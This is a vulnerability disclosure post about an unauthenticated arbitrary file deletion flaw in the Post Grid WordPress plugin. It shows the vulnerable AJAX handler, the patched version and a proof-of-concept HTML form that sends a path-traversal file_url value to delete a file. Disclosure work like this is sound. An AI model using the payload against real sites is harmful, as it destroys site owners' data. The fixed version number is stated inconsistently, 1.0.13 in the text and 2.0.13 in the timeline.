File Deletion Vulnerability in Post Grid
One of the reason we believe that it is important that the details of vulnerabilities in WordPress plugins be disclosed is that if others can review them that can lead to additional vulnerabilities being identified. That was the case with a recent vulnerability in the Post Grid plugin, where after being notified the details of a vulnerability (that vulnerability has yet to be publicly disclosed) we found that it pointed to a wider security issue with the plugin.
The original vulnerability was due in part to functions only intended for Administrator level users being made available to anyone through WordPress’ AJAX functionality, whether they were logged in to WordPress or not. That was the case not only for the function relevant to that vulnerability, but for a number of others.
Let’s take a look at one of those, which would have allowed anyone to delete any file from the website (from the file /includes/functions.php):
711 712 713 714 715 716 717 718 719 720 721 722 723 | function post_grid_ajax_remove_export_content_layout(){ $file_url = $_POST['file_url']; unlink($file_url); die(); } add_action('wp_ajax_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout'); add_action('wp_ajax_nopriv_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout'); |
The line that begins “add_action(‘wp_ajax_nopriv_post” makes the function available to those who are not logged in and the one that begins “add_action(‘wp_ajax_post” makes the function available to those that are logged in.
The function then takes the value of the POST input “file_url” and tries to delete it with the unlink() function.
After we notified the developer they change that code to this in version 1.0.13:
1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 | function post_grid_ajax_remove_export_content_layout(){ if(current_user_can('manage_options')){ $file_url = sanitize_text_field($_POST['file_url']); unlink($file_url); } die(); } add_action('wp_ajax_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout'); |
The function is no longer available to those that are not logged in and the user has to have the “manage_option” capability, which normally on Administrator level users have. The function still lacks protection against cross-site request forgery (CSRF), but that much less of an issue the previous situation.
Proof of Concept
The following proof of concept will cause a file named test.txt in the root directory of a website to deleted.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <head> </head> <body> <form method="post" action="http://[path to WordPress]/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="post_grid_ajax_remove_export_content_layout" /> <input type="hidden" name="file_url" value='../test.txt' /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- November 2, 2016 – Developer notified.
- November 4, 2016 – Version 2.0.13, which fixes vulnerability, submitted to Plugin Directory.